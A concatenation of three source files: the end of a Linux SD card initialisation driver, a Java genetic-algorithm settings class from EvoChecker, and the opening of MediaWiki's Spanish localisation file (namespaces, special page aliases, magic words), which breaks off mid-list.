err = mmc_send_csd(card, card->raw_csd);
if (err != MMC_ERR_NONE)
goto free_card;
err = mmc_decode_csd(card);
if (err < 0)
goto free_card;
mmc_decode_cid(card);
}
/*
* Select card, as all following commands rely on that.
*/
err = mmc_select_card(card);
if (err != MMC_ERR_NONE)
goto free_card;
if (!oldcard) {
/*
* Fetch SCR from card.
*/
err = mmc_app_send_scr(card, card->raw_scr);
if (err != MMC_ERR_NONE)
goto free_card;
err = mmc_decode_scr(card);
if (err < 0)
goto free_card;
/* ÓÐʱ¶ÁÈ¡²»µ½SD¿¨£¬Ôö¼Ó10msÑÓʱ£¬²âÊÔ */
mdelay(10);
/*
* Fetch switch information from card.
*/
err = mmc_read_switch(card);
if (err != MMC_ERR_NONE)
goto free_card;
}
/*
* Attempt to change to high-speed (if supported)
*/
err = mmc_switch_hs(card);
if (err != MMC_ERR_NONE)
goto free_card;
/*
* Compute bus speed.
*/
max_dtr = (unsigned int)-1;
if (mmc_card_highspeed(card)) {
if (max_dtr > card->sw_caps.hs_max_dtr)
max_dtr = card->sw_caps.hs_max_dtr;
} else if (max_dtr > card->csd.max_dtr) {
max_dtr = card->csd.max_dtr;
}
mmc_set_clock(host, max_dtr);
/*
* Switch to wider bus (if supported).
*/
if ((host->caps & MMC_CAP_4_BIT_DATA) &&
(card->scr.bus_widths & SD_SCR_BUS_WIDTH_4)) {
err = mmc_app_set_bus_width(card, MMC_BUS_WIDTH_4);
if (err != MMC_ERR_NONE)
goto free_card;
mmc_set_bus_width(host, MMC_BUS_WIDTH_4);
}
/*
* Check if read-only switch is active.
*/
if (!oldcard) {
if (!host->ops->get_ro) {
printk(KERN_WARNING "%s: host does not "
"support reading read-only "
"switch. assuming write-enable.\n",
mmc_hostname(host));
} else {
if (host->ops->get_ro(host))
mmc_card_set_readonly(card);
}
}
if (!oldcard)
host->card = card;
return MMC_ERR_NONE;
free_card:
if (!oldcard)
mmc_remove_card(card);
err:
return MMC_ERR_FAILED;
}
/*
* Host is being removed. Free up the current card.
*/
static void mmc_sd_remove(struct mmc_host *host)
{
BUG_ON(!host);
BUG_ON(!host->card);
mmc_remove_card(host->card);
host->card = NULL;
}
/*
* Card detection callback from host.
*/
static void mmc_sd_detect(struct mmc_host *host)
{
int err;
BUG_ON(!host);
BUG_ON(!host->card);
mmc_claim_host(host);
/*
* Just check if our card has been removed.
*/
err = mmc_send_status(host->card, NULL);
mmc_release_host(host);
if (err != MMC_ERR_NONE) {
mmc_remove_card(host->card);
host->card = NULL;
mmc_claim_host(host);
mmc_detach_bus(host);
mmc_release_host(host);
}
}
#ifdef CONFIG_MMC_UNSAFE_RESUME
/*
* Suspend callback from host.
*/
static void mmc_sd_suspend(struct mmc_host *host)
{
BUG_ON(!host);
BUG_ON(!host->card);
mmc_claim_host(host);
mmc_deselect_cards(host);
host->card->state &= ~MMC_STATE_HIGHSPEED;
mmc_release_host(host);
}
/*
* Resume callback from host.
*
* This function tries to determine if the same card is still present
* and, if so, restore all state to it.
*/
static void mmc_sd_resume(struct mmc_host *host)
{
int err;
BUG_ON(!host);
BUG_ON(!host->card);
mmc_claim_host(host);
err = mmc_sd_init_card(host, host->ocr, host->card);
if (err != MMC_ERR_NONE) {
mmc_remove_card(host->card);
host->card = NULL;
mmc_detach_bus(host);
}
mmc_release_host(host);
}
#else
#define mmc_sd_suspend NULL
#define mmc_sd_resume NULL
#endif
static const struct mmc_bus_ops mmc_sd_ops = {
.remove = mmc_sd_remove,
.detect = mmc_sd_detect,
.suspend = mmc_sd_suspend,
.resume = mmc_sd_resume,
};
/*
* Starting point for SD card init.
*/
int mmc_attach_sd(struct mmc_host *host, u32 ocr)
{
int err;
BUG_ON(!host);
BUG_ON(!host->claimed);
mmc_attach_bus(host, &mmc_sd_ops);
/*
* Sanity check the voltages that the card claims to
* support.
*/
if (ocr & 0x7F) {
printk(KERN_WARNING "%s: card claims to support voltages "
"below the defined range. These will be ignored.\n",
mmc_hostname(host));
ocr &= ~0x7F;
}
if (ocr & MMC_VDD_165_195) {
printk(KERN_WARNING "%s: SD card claims to support the "
"incompletely defined 'low voltage range'. This "
"will be ignored.\n", mmc_hostname(host));
ocr &= ~MMC_VDD_165_195;
}
host->ocr = mmc_select_voltage(host, ocr);
/*
* Can we support the voltage(s) of the card(s)?
*/
if (!host->ocr)
goto err;
/*
* Detect and init the card.
*/
err = mmc_sd_init_card(host, host->ocr, NULL);
if (err != MMC_ERR_NONE)
goto err;
mmc_release_host(host);
err = mmc_register_card(host->card);
if (err)
goto reclaim_host;
return 0;
reclaim_host:
mmc_claim_host(host);
mmc_remove_card(host->card);
host->card = NULL;
err:
mmc_detach_bus(host);
mmc_release_host(host);
return 0;
}
|
sdwuyawen/linux2.6.22_helper2416
|
drivers/mmc/core/sd.c
|
C
|
gpl-2.0
| 13,230
|
package evochecker.genetic.jmetal.metaheuristics.single;
import java.util.HashMap;
import evochecker.auxiliary.Utility;
import evochecker.evaluator.MultiProcessModelEvaluator;
import evochecker.genetic.jmetal.operators.CrossoverFactory;
import evochecker.genetic.jmetal.operators.MutationFactory;
import evochecker.genetic.problem.GeneticProblemSingle;
import jmetal.core.Algorithm;
import jmetal.core.Problem;
import jmetal.experiments.Settings;
//import jmetal.metaheuristics.singleObjective.geneticAlgorithm.pgGA;
import jmetal.operators.crossover.Crossover;
import jmetal.operators.mutation.Mutation;
import jmetal.operators.selection.Selection;
import jmetal.operators.selection.SelectionFactory;
import jmetal.util.JMException;
public class SingleGA_Settings extends Settings{
public int populationSize_;
public int maxEvaluations_;
public double realCrossoverProbability_;
public double intCrossoverProbability_;
public double realMutationProbability_;
public double intMutationProbability_;
public double distributionIndex_;
/**
* Constructor
*/
public SingleGA_Settings (String problemName, Problem problem){
super(problemName);
problem_ = problem;
// Default experiments.settings
populationSize_ = Integer.parseInt(Utility.getProperty("POPULATION_SIZE", "100"));
maxEvaluations_ = Integer.parseInt(Utility.getProperty("MAX_EVALUATIONS", "100"));
realCrossoverProbability_ = 0.9;
intCrossoverProbability_ = 0.9;//0.5;
realMutationProbability_ = 1.0 / ((GeneticProblemSingle)problem_).getNumOfRealVariables();// 0.4;
intMutationProbability_ = 1.0 / ((GeneticProblemSingle)problem_).getNumOfIntVariables();//0.4;
distributionIndex_ = 20;
} // SingleGA_Settings
/**
* Configure Single_GA with default parameter experiments.settings
*
* @return A Single_GA algorithm object
* @throws jmetal.util.JMException
*/
@Override
public Algorithm configure() throws JMException {
Algorithm algorithm;
Selection selection;
Crossover crossover;
Mutation mutation;
HashMap<String, Double> parameters; // Operator parameters
//Create algorithm and parallel objects
MultiProcessModelEvaluator evaluator = new MultiProcessModelEvaluator();
algorithm = new pgGA(problem_, evaluator); //pNSGAII(problem_, evaluator);
// Algorithm parameters
algorithm.setInputParameter("populationSize", populationSize_);
algorithm.setInputParameter("maxEvaluations", maxEvaluations_);
// Mutation and Crossover for Real codification
parameters = new HashMap<String, Double>();
parameters.put("realCrossoverProbability", this.realCrossoverProbability_);
parameters.put("intCrossoverProbability", this.intCrossoverProbability_);
parameters.put("distributionIndex", this.distributionIndex_);
crossover = CrossoverFactory.getCrossoverOperator("SBXSinglePointCrossover", parameters);
parameters = new HashMap<String, Double>();
parameters.put("realMutationProbability", this.realMutationProbability_);
parameters.put("intMutationProbability", this.intMutationProbability_);
parameters.put("distributionIndex", this.distributionIndex_);
mutation = MutationFactory.getMutationOperator("PolynomialUniformMutation", parameters);
// Add the operators to the algorithm
algorithm.addOperator("crossover", crossover);
algorithm.addOperator("mutation", mutation);
// Selection Operator
parameters = null;
selection = SelectionFactory.getSelectionOperator("BinaryTournament",parameters);
algorithm.addOperator("selection", selection);
return algorithm;
} // configure
}
|
gerasimou/EvoChecker
|
src/main/java/evochecker/genetic/jmetal/metaheuristics/single/SingleGA_Settings.java
|
Java
|
gpl-2.0
| 3,573
|
<?php
/** Spanish (español)
*
* See MessagesQqq.php for message documentation incl. usage of parameters
* To improve a translation please visit http://translatewiki.net
*
* @ingroup Language
* @file
*
* @author -jem-
* @author Aleator
* @author Alhen
* @author Alpertron
* @author Alvaro qc
* @author Amire80
* @author Armando-Martin
* @author Ascánder
* @author Baiji
* @author Bea.miau
* @author Benfutbol10
* @author Bengoa
* @author Bernardom
* @author Better
* @author BicScope
* @author Boivie
* @author Candalua
* @author Capmo
* @author Carlitosag
* @author Cerealito
* @author Ciencia Al Poder
* @author Clerc
* @author Crazymadlover
* @author Cvmontuy
* @author Dalton2
* @author Danke7
* @author David0811
* @author Dferg
* @author Diego Grez
* @author Dmcdevit
* @author Drini
* @author Dvortygirl
* @author Fibonacci
* @author Fitoschido
* @author Fluence
* @author Fortega
* @author Geitost
* @author Gustronico
* @author Gwickwire
* @author Hahc21
* @author Hazard-SJ
* @author Hercule
* @author Icvav
* @author Ihojose
* @author Imre
* @author Invadinado
* @author Jatrobat
* @author Jens Liebenau
* @author Jewbask
* @author Jurock
* @author Kaganer
* @author Larjona
* @author Lin linao
* @author Linterweb
* @author Locos epraix
* @author Luckas
* @author Luis Felipe Schenone
* @author Mahadeva
* @author Manuelt15
* @author Maor X
* @author MarcoAurelio
* @author McDutchie
* @author Miguel2706
* @author Muro de Aguas
* @author Omnipaedista
* @author Orgullomoore
* @author Ovruni
* @author Paucabot
* @author Penarc
* @author PerroVerd
* @author Pertile
* @author Peter Bowman
* @author Pginer
* @author Piolinfax
* @author Platonides
* @author PoLuX124
* @author QuimGil
* @author Ralgis
* @author Remember the dot
* @author Remux
* @author Richard Wolf VI
* @author Salvador alc
* @author Sanbec
* @author Savh
* @author Sethladan
* @author Shirayuki
* @author Spacebirdy
* @author Stephensuleeman
* @author Technorum
* @author The Evil IP address
* @author TheBITLINK
* @author Titoxd
* @author Toniher
* @author Translationista
* @author Urhixidur
* @author VegaDark
* @author Vivaelcelta
* @author Waldir
* @author Wilfredor
* @author XalD
* @author XanaG
* @author לערי ריינהארט
*/
$namespaceNames = array(
NS_MEDIA => 'Medio',
NS_SPECIAL => 'Especial',
NS_TALK => 'Discusión',
NS_USER => 'Usuario',
NS_USER_TALK => 'Usuario_discusión',
NS_PROJECT_TALK => '$1_discusión',
NS_FILE => 'Archivo',
NS_FILE_TALK => 'Archivo_discusión',
NS_MEDIAWIKI => 'MediaWiki',
NS_MEDIAWIKI_TALK => 'MediaWiki_discusión',
NS_TEMPLATE => 'Plantilla',
NS_TEMPLATE_TALK => 'Plantilla_discusión',
NS_HELP => 'Ayuda',
NS_HELP_TALK => 'Ayuda_discusión',
NS_CATEGORY => 'Categoría',
NS_CATEGORY_TALK => 'Categoría_discusión',
);
$namespaceAliases = array(
'Imagen' => NS_FILE,
'Imagen_Discusión' => NS_FILE_TALK,
);
$namespaceGenderAliases = array(
NS_USER => array( 'male' => 'Usuario', 'female' => 'Usuaria' ),
NS_USER_TALK => array( 'male' => 'Usuario_Discusión', 'female' => 'Usuaria_Discusión' ),
);
$specialPageAliases = array(
'Activeusers' => array( 'UsuariosActivos' ),
'Allmessages' => array( 'TodosLosMensajes' ),
'AllMyUploads' => array( 'TodasMisSubidas', 'TodosMisArchivos' ),
'Allpages' => array( 'Todas', 'Todas_las_páginas' ),
'Ancientpages' => array( 'PáginasAntiguas', 'Páginas_antiguas' ),
'Badtitle' => array( 'Título_incorrecto' ),
'Blankpage' => array( 'PáginaEnBlanco', 'BlanquearPágina', 'Blanquear_página', 'Página_en_blanco' ),
'Block' => array( 'Bloquear' ),
'Booksources' => array( 'FuentesDeLibros', 'Fuentes_de_libros' ),
'BrokenRedirects' => array( 'RedireccionesRotas', 'Redirecciones_rotas' ),
'Categories' => array( 'Categorías' ),
'ChangeEmail' => array( 'Cambiar_correo_electrónico', 'CambiarEmail', 'CambiarCorreo' ),
'ChangePassword' => array( 'Cambiar_contraseña', 'CambiarContraseña', 'ResetearContraseña', 'Resetear_contraseña' ),
'ComparePages' => array( 'Comparar_páginas', 'CompararPáginas' ),
'Confirmemail' => array( 'Confirmar_correo_electrónico', 'ConfirmarEmail' ),
'Contributions' => array( 'Contribuciones' ),
'CreateAccount' => array( 'Crear_una_cuenta', 'CrearCuenta' ),
'Deadendpages' => array( 'PáginasSinSalida', 'Páginas_sin_salida' ),
'DeletedContributions' => array( 'ContribucionesBorradas', 'Contribuciones_Borradas' ),
'DoubleRedirects' => array( 'RedireccionesDobles', 'Redirecciones_dobles' ),
'EditWatchlist' => array( 'EditarSeguimiento' ),
'Emailuser' => array( 'Enviar_correo_electrónico', 'MandarEmailUsuario' ),
'ExpandTemplates' => array( 'Sustituir_plantillas', 'Sustituidor_de_plantillas', 'Expandir_plantillas' ),
'Export' => array( 'Exportar' ),
'Fewestrevisions' => array( 'MenosEdiciones', 'Menos_ediciones' ),
'FileDuplicateSearch' => array( 'BuscarArchivosDuplicados', 'Buscar_archivos_duplicados' ),
'Filepath' => array( 'RutaDeArchivo', 'Ruta_de_archivo' ),
'Import' => array( 'Importar' ),
'Invalidateemail' => array( 'InvalidarEmail', 'Invalidar_correo_electrónico' ),
'BlockList' => array( 'UsuariosBloqueados', 'Lista_de_usuarios_bloqueados' ),
'LinkSearch' => array( 'BúsquedaDeEnlaces', 'Búsqueda_de_enlaces' ),
'Listadmins' => array( 'ListaDeAdministradores', 'Lista_de_administradores' ),
'Listbots' => array( 'ListaDeBots', 'Lista_de_bots' ),
'Listfiles' => array( 'ListaImágenes', 'Lista_de_imágenes' ),
'Listgrouprights' => array( 'ListaDerechosGrupos', 'Derechos_de_grupos_de_usuarios' ),
'Listredirects' => array( 'TodasLasRedirecciones', 'Todas_las_redirecciones' ),
'Listusers' => array( 'ListaUsuarios', 'Lista_de_usuarios' ),
'Lockdb' => array( 'BloquearBasedeDatos', 'Bloquear_base_de_datos' ),
'Log' => array( 'Registro' ),
'Lonelypages' => array( 'PáginasHuérfanas', 'Páginas_huérfanas' ),
'Longpages' => array( 'PáginasLargas', 'Páginas_largas' ),
'MergeHistory' => array( 'FusionarHistorial', 'Fusionar_historial' ),
'MIMEsearch' => array( 'BuscarPorMIME', 'Buscar_por_MIME' ),
'Mostcategories' => array( 'MásCategorizadas', 'Más_categorizadas' ),
'Mostimages' => array( 'MásImágenes', 'Con_más_imágenes' ),
'Mostlinked' => array( 'MásEnlazados', 'Más_enlazados', 'MásEnlazadas' ),
'Mostlinkedcategories' => array( 'CategoríasMásUsadas', 'Categorías_más_usadas' ),
'Mostlinkedtemplates' => array( 'PlantillasMásUsadas', 'Plantillas_más_usadas' ),
'Mostrevisions' => array( 'MásEdiciones', 'Más_ediciones' ),
'Movepage' => array( 'MoverPágina', 'Mover_página' ),
'Mycontributions' => array( 'MisContribuciones', 'Mis_contribuciones' ),
'Mypage' => array( 'MiPágina', 'Mi_página' ),
'Mytalk' => array( 'MiDiscusión', 'Mi_discusión' ),
'Myuploads' => array( 'MisArchivosSubidos' ),
'Newimages' => array( 'NuevasImágenes', 'Nuevas_imágenes' ),
'Newpages' => array( 'PáginasNuevas', 'Páginas_nuevas' ),
'PasswordReset' => array( 'RestablecerContraseña' ),
'PermanentLink' => array( 'EnlacePermanente' ),
'Popularpages' => array( 'PáginasMásVisitadas', 'PáginasPopulares', 'Páginas_más_visitadas' ),
'Preferences' => array( 'Preferencias' ),
'Prefixindex' => array( 'PáginasPorPrefijo', 'Páginas_por_prefijo' ),
'Protectedpages' => array( 'PáginasProtegidas', 'Páginas_protegidas' ),
'Protectedtitles' => array( 'TítulosProtegidos', 'Títulos_protegidos' ),
'Randompage' => array( 'Aleatoria', 'Aleatorio', 'Página_aleatoria' ),
'RandomInCategory' => array( 'Aleatorio_en_categoría' ),
'Randomredirect' => array( 'RedirecciónAleatoria', 'Redirección_aleatoria' ),
'Recentchanges' => array( 'CambiosRecientes', 'Cambios_recientes' ),
'Recentchangeslinked' => array( 'CambiosEnEnlazadas', 'Cambios_en_enlazadas' ),
'Redirect' => array( 'Redirigir' ),
'ResetTokens' => array( 'ReestablecerClaves' ),
'Revisiondelete' => array( 'BorrarRevisión', 'Borrar_revisión' ),
'Search' => array( 'Buscar' ),
'Shortpages' => array( 'PáginasCortas', 'Páginas_cortas' ),
'Specialpages' => array( 'PáginasEspeciales', 'Páginas_especiales' ),
'Statistics' => array( 'Estadísticas' ),
'Tags' => array( 'Etiquetas' ),
'Unblock' => array( 'Desbloquear' ),
'Uncategorizedcategories' => array( 'CategoríasSinCategorizar', 'Categorías_sin_categorizar' ),
'Uncategorizedimages' => array( 'ImágenesSinCategorizar', 'Imágenes_sin_categorizar' ),
'Uncategorizedpages' => array( 'PáginasSinCategorizar', 'Páginas_sin_categorizar' ),
'Uncategorizedtemplates' => array( 'PlantillasSinCategorizar', 'Plantillas_sin_categorizar' ),
'Undelete' => array( 'Restaurar' ),
'Unlockdb' => array( 'DesbloquearBasedeDatos', 'Desbloquear_base_de_datos' ),
'Unusedcategories' => array( 'CategoríasSinUso', 'Categorías_sin_uso' ),
'Unusedimages' => array( 'ImágenesSinUso', 'Imágenes_sin_uso' ),
'Unusedtemplates' => array( 'PlantillasSinUso', 'Plantillas_sin_uso' ),
'Unwatchedpages' => array( 'PáginasSinVigilar', 'Páginas_sin_vigilar' ),
'Upload' => array( 'SubirArchivo', 'Subir_archivo' ),
'UploadStash' => array( 'ArchivosEscondidos', 'FicherosEscondidos' ),
'Userlogin' => array( 'Entrar', 'Entrada_del_usuario' ),
'Userlogout' => array( 'Salida_del_usuario', 'Salir' ),
'Userrights' => array( 'PermisosUsuarios', 'Permisos_de_usuarios' ),
'Version' => array( 'Versión' ),
'Wantedcategories' => array( 'CategoríasRequeridas', 'Categorías_requeridas' ),
'Wantedfiles' => array( 'ArchivosRequeridos', 'Archivos_requeridos' ),
'Wantedpages' => array( 'PáginasRequeridas', 'Páginas_requeridas' ),
'Wantedtemplates' => array( 'PlantillasRequeridas', 'Plantillas_requeridas' ),
'Watchlist' => array( 'Seguimiento', 'Lista_de_seguimiento' ),
'Whatlinkshere' => array( 'LoQueEnlazaAquí', 'Lo_que_enlaza_aquí' ),
'Withoutinterwiki' => array( 'SinInterwikis', 'Sin_interwikis' ),
);
$magicWords = array(
'redirect' => array( '0', '#REDIRECCIÓN', '#REDIRECCION', '#REDIRECT' ),
'notoc' => array( '0', '__SIN_TDC__', '__NOTDC__', '__NOTOC__' ),
'nogallery' => array( '0', '__SIN_GALERÍA__', '__NOGALERÍA__', '__NOGALERIA__', '__NOGALLERY__' ),
'forcetoc' => array( '0', '__FORZAR_TDC__', '__FORZARTDC__', '__FORZARTOC__', '__FORCETOC__' ),
'toc' => array( '0', '__TDC__', '__TOC__' ),
'noeditsection' => array( '0', '__NO_EDITAR_SECCIÓN__', '__NOEDITARSECCIÓN__', '__NOEDITARSECCION__', '__NOEDITSECTION__' ),
'currentmonth' => array( '1', 'MESACTUAL', 'MESACTUAL2', 'CURRENTMONTH', 'CURRENTMONTH2' ),
'currentmonth1' => array( '1', 'MESACTUAL1', 'CURRENTMONTH1' ),
'currentmonthname' => array( '1', 'MESACTUALCOMPLETO', 'NOMBREMESACTUAL', 'CURRENTMONTHNAME' ),
'currentmonthnamegen' => array( '1', 'MESACTUALGENITIVO', 'CURRENTMONTHNAMEGEN' ),
'currentmonthabbrev' => array( '1', 'MESACTUALABREVIADO', 'CURRENTMONTHABBREV' ),
'currentday' => array( '1', 'DÍAACTUAL', 'DIAACTUAL', 'DÍA_ACTUAL', 'DIA_ACTUAL', 'CURRENTDAY' ),
'currentday2' => array( '1', 'DÍAACTUAL2', 'DIAACTUAL2', 'DÍA_ACTUAL2', 'DIA_ACTUAL2', 'CURRENTDAY2' ),
'currentdayname' => array( '1', 'NOMBREDÍAACTUAL', 'NOMBREDIAACTUAL', 'CURRENTDAYNAME' ),
'currentyear' => array( '1', 'AÑOACTUAL', 'AÑO_ACTUAL', 'CURRENTYEAR' ),
'currenttime' => array( '1', 'HORA_MINUTOS_ACTUAL', 'HORAMINUTOSACTUAL', 'TIEMPOACTUAL', 'CURRENTTIME' ),
'currenthour' => array( '1', 'HORAACTUAL', 'HORA_ACTUAL', 'CURRENTHOUR' ),
'localmonth' => array( '1', 'MESLOCAL', 'MESLOCAL2', 'LOCALMONTH', 'LOCALMONTH2' ),
'localmonth1' => array( '1', 'MESLOCAL1', 'LOCALMONTH1' ),
'localmonthname' => array( '1', 'MESLOCALCOMPLETO', 'NOMBREMESLOCAL', 'LOCALMONTHNAME' ),
'localmonthnamegen' => array( '1', 'MESLOCALGENITIVO', 'LOCALMONTHNAMEGEN' ),
'localmonthabbrev' => array( '1', 'MESLOCALABREVIADO', 'LOCALMONTHABBREV' ),
'localday' => array( '1', 'DÍALOCAL', 'DIALOCAL', 'LOCALDAY' ),
'localday2' => array( '1', 'DIALOCAL2', 'DÍALOCAL2', 'LOCALDAY2' ),
'localdayname' => array( '1', 'NOMBREDIALOCAL', 'NOMBREDÍALOCAL', 'LOCALDAYNAME' ),
'localyear' => array( '1', 'AÑOLOCAL', 'LOCALYEAR' ),
'localtime' => array( '1', 'HORAMINUTOSLOCAL', 'TIEMPOLOCAL', 'LOCALTIME' ),
'localhour' => array( '1', 'HORALOCAL', 'LOCALHOUR' ),
'numberofpages' => array( '1', 'NÚMERODEPÁGINAS', 'NUMERODEPAGINAS', 'NUMBEROFPAGES' ),
'numberofarticles' => array( '1', 'NÚMERODEARTÍCULOS', 'NUMERODEARTICULOS', 'NUMBEROFARTICLES' ),
'numberoffiles' => array( '1', 'NÚMERODEARCHIVOS', 'NUMERODEARCHIVOS', 'NUMBEROFFILES' ),
'numberofusers' => array( '1', 'NÚMERODEUSUARIOS', 'NUMERODEUSUARIOS', 'NUMBEROFUSERS' ),
'numberofactiveusers' => array( '1', 'NÚMERODEUSUARIOSACTIVOS', 'NUMERODEUSUARIOSACTIVOS', 'NUMBEROFACTIVEUSERS' ),
'numberofedits' => array( '1', 'NÚMERODEEDICIONES', 'NUMERODEEDICIONES', 'NUMBEROFEDITS' ),
'numberofviews' => array( '1', 'NÚMERODEVISTAS', 'NUMERODEVISTAS', 'NUMBEROFVIEWS' ),
'pagename' => array( '1', 'NOMBREDEPAGINA', 'NOMBREDEPÁGINA', 'PAGENAME' ),
'pagenamee' => array( '1', 'NOMBREDEPAGINAC', 'NOMBREDEPÁGINAC', 'PAGENAMEE' ),
'namespace' => array( '1', 'ESPACIODENOMBRE', 'NAMESPACE' ),
'namespacee' => array( '1', 'ESPACIODENOMBREC', 'NAMESPACEE' ),
'namespacenumber' => array( '1', 'NÚMERODELESPACIO', 'NAMESPACENUMBER' ),
'talkspace' => array( '1', 'ESPACIODEDISCUSION', 'ESPACIODEDISCUSIÓN', 'TALKSPACE' ),
'talkspacee' => array( '1', 'ESPACIODEDISCUSIONC', 'TALKSPACEE' ),
'subjectspace' => array( '1', 'ESPACIODEASUNTO', 'ESPACIODETEMA', 'ESPACIODEARTÍCULO', 'ESPACIODEARTICULO', 'SUBJECTSPACE', 'ARTICLESPACE' ),
'subjectspacee' => array( '1', 'ESPACIODETEMAC', 'ESPACIODEASUNTOC', 'ESPACIODEARTICULOC', 'ESPACIODEARTÍCULOC', 'SUBJECTSPACEE', 'ARTICLESPACEE' ),
'fullpagename' => array( '1', 'NOMBRECOMPLETODEPÁGINA', 'NOMBRECOMPLETODEPAGINA', 'FULLPAGENAME' ),
'fullpagenamee' => array( '1', 'NOMBRECOMPLETODEPAGINAC', 'NOMBRECOMPLETODEPÁGINAC', 'FULLPAGENAMEE' ),
'subpagename' => array( '1', 'NOMBREDESUBPAGINA', 'NOMBREDESUBPÁGINA', 'SUBPAGENAME' ),
'subpagenamee' => array( '1', 'NOMBREDESUBPAGINAC', 'NOMBREDESUBPÁGINAC', 'SUBPAGENAMEE' ),
'rootpagename' => array( '1', 'NOMBREDEPAGINARAIZ', 'NOMBREDEPÁGINARAÍZ', 'ROOTPAGENAME' ),
'rootpagenamee' => array( '1', 'NOMBREDEPAGINARAIZC', 'NOMBREDEPÁGINARAÍZC', 'ROOTPAGENAMEE' ),
'basepagename' => array( '1', 'NOMBREDEPAGINABASE', 'NOMBREDEPÁGINABASE', 'BASEPAGENAME' ),
'basepagenamee' => array( '1', 'NOMBREDEPAGINABASEC', 'NOMBREDEPÁGINABASEC', 'BASEPAGENAMEE' ),
'talkpagename' => array( '1', 'NOMBREDEPÁGINADEDISCUSIÓN', 'NOMBREDEPAGINADEDISCUSION', 'NOMBREDEPAGINADISCUSION', 'NOMBREDEPÁGINADISCUSIÓN', 'TALKPAGENAME' ),
'talkpagenamee' => array( '1', 'NOMBREDEPÁGINADEDISCUSIÓNC', 'NOMBREDEPAGINADEDISCUSIONC', 'NOMBREDEPAGINADISCUSIONC', 'NOMBREDEPÁGINADISCUSIÓNC', 'TALKPAGENAMEE' ),
'subjectpagename' => array( '1', 'NOMBREDEPAGINADETEMA', 'NOMBREDEPÁGINADETEMA', 'NOMBREDEPÁGINADEASUNTO', 'NOMBREDEPAGINADEASUNTO', 'NOMBREDEPAGINADEARTICULO', 'NOMBREDEPÁGINADEARTÍCULO', 'SUBJECTPAGENAME', 'ARTICLEPAGENAME' ),
'subjectpagenamee' => array( '1', 'NOMBREDEPAGINADETEMAC', 'NOMBREDEPÁGINADETEMAC', 'NOMBREDEPÁGINADEASUNTOC', 'NOMBREDEPAGINADEASUNTOC', 'NOMBREDEPAGINADEARTICULOC', 'NOMBREDEPÁGINADEARTÍCULOC', 'SUBJECTPAGENAMEE', 'ARTICLEPAGENAMEE' ),
'msg' => array( '0', 'MSJ:', 'MSG:' ),
'subst' => array( '0', 'SUST:', 'FIJAR:', 'SUBST:' ),
'img_thumbnail' => array( '1', 'miniaturadeimagen', 'miniatura', 'mini', 'thumbnail', 'thumb' ),
'img_manualthumb' => array( '1', 'miniaturadeimagen=$1', 'miniatura=$1', 'thumbnail=$1', 'thumb=$1' ),
'img_right' => array( '1', 'derecha', 'dcha', 'der', 'right' ),
'img_left' => array( '1', 'izquierda', 'izda', 'izq', 'left' ),
'img_none' => array( '1', 'ninguna', 'nada', 'no', 'ninguno', 'none' ),
'img_center' => array( '1', 'centro', 'centrado', 'centrada', 'centrar', 'center', 'centre' ),
'img_framed' => array( '1', 'marco', 'enmarcado', 'enmarcada', 'framed', 'enframed', 'frame' ),
'img_frameless' => array( '1', 'sinmarco', 'sin_enmarcar', 'sinenmarcar', 'frameless' ),
'img_page' => array( '1', 'pagina=$1', 'página=$1', 'pagina_$1', 'página_$1', 'page=$1', 'page $1' ),
'img_border' => array( '1', 'borde', 'border' ),
'img_link' => array( '1', 'vínculo=$1', 'vinculo=$1', 'enlace=$1', 'link=$1' ),
'sitename' => array( '1', 'NOMBREDELSITIO', 'SITENAME' ),
'ns' => array( '0', 'EN:', 'NS:' ),
'localurl' => array( '0', 'URLLOCAL', 'LOCALURL:' ),
'localurle' => array( '0', 'URLLOCALC:', 'LOCALURLE:' ),
'server' => array( '0', 'SERVIDOR', 'SERVER' ),
'servername' => array( '0', 'NOMBRESERVIDOR', 'SERVERNAME' ),
'scriptpath' => array( '0', 'RUTASCRIPT', 'RUTADESCRIPT', 'SCRIPTPATH' ),
'stylepath' => array( '0', 'RUTAESTILO', 'RUTADEESTILO', 'STYLEPATH' ),
'grammar' => array( '0', 'GRAMATICA:', 'GRAMÁTICA:', 'GRAMMAR:' ),
'gender' => array( '0', 'GÉNERO:', 'GENERO:', 'GENDER:' ),
'notitleconvert' => array( '0', '__NOCONVERTIRTITULO__', '__NOCONVERTIRTÍTULO__', '__NOCT___', '__NOTITLECONVERT__', '__NOTC__' ),
'nocontentconvert' => array( '0', '__NOCONVERTIRCONTENIDO__', '__NOCC___', '__NOCONTENTCONVERT__', '__NOCC__' ),
'currentweek' => array( '1', 'SEMANAACTUAL', 'CURRENTWEEK' ),
'currentdow' => array( '1', 'DDSACTUAL', 'DIADESEMANAACTUAL', 'DÍADESEMANAACTUAL', 'CURRENTDOW' ),
'localweek' => array( '1', 'SEMANALOCAL', 'LOCALWEEK' ),
'localdow' => array( '1', 'DDSLOCAL', 'DIADESEMANALOCAL', 'DÍADESEMANALOCAL', 'LOCALDOW' ),
'revisionid' => array( '1', 'IDDEREVISION', 'IDREVISION', 'IDDEREVISIÓN', 'IDREVISIÓN', 'REVISIONID' ),
'revisionday' => array( '1', 'DIADEREVISION', 'DIAREVISION', 'DÍADEREVISIÓN', 'DÍAREVISIÓN', 'REVISIONDAY' ),
'revisionday2' => array( '1', 'DIADEREVISION2', 'DIAREVISION2', 'DÍADEREVISIÓN2', 'DÍAREVISIÓN2', 'REVISIONDAY2' ),
'revisionmonth' => array( '1', 'MESDEREVISION', 'MESDEREVISIÓN', 'MESREVISION', 'MESREVISIÓN', 'REVISIONMONTH' ),
'revisionyear' => array( '1', 'AÑODEREVISION', 'AÑODEREVISIÓN', 'AÑOREVISION', 'AÑOREVISIÓN', 'REVISIONYEAR' ),
'revisiontimestamp' => array( '1', 'MARCADEHORADEREVISION', 'MARCADEHORADEREVISIÓN', 'REVISIONTIMESTAMP' ),
'revisionuser' => array( '1', 'USUARIODEREVISION', 'USUARIODEREVISIÓN', 'REVISIONUSER' ),
'fullurl' => array( '0', 'URLCOMPLETA:', 'FULLURL:' ),
'fullurle' => array( '0', 'URLCOMPLETAC:', 'FULLURLE:' ),
'canonicalurl' => array( '0', 'URLCANONICA:', 'CANONICALURL:' ),
'canonicalurle' => array( '0', 'URLCANONICAC:', 'CANONICALURLE:' ),
'lcfirst' => array( '0', 'PRIMEROMINUS;', 'PRIMEROMINÚS:', 'LCFIRST:' ),
'ucfirst' => array( '0', 'PRIMEROMAYUS;', 'PRIMEROMAYÚS:', 'UCFIRST:' ),
'lc' => array( '0', 'MINUS:', 'MINÚS:', 'LC:' ),
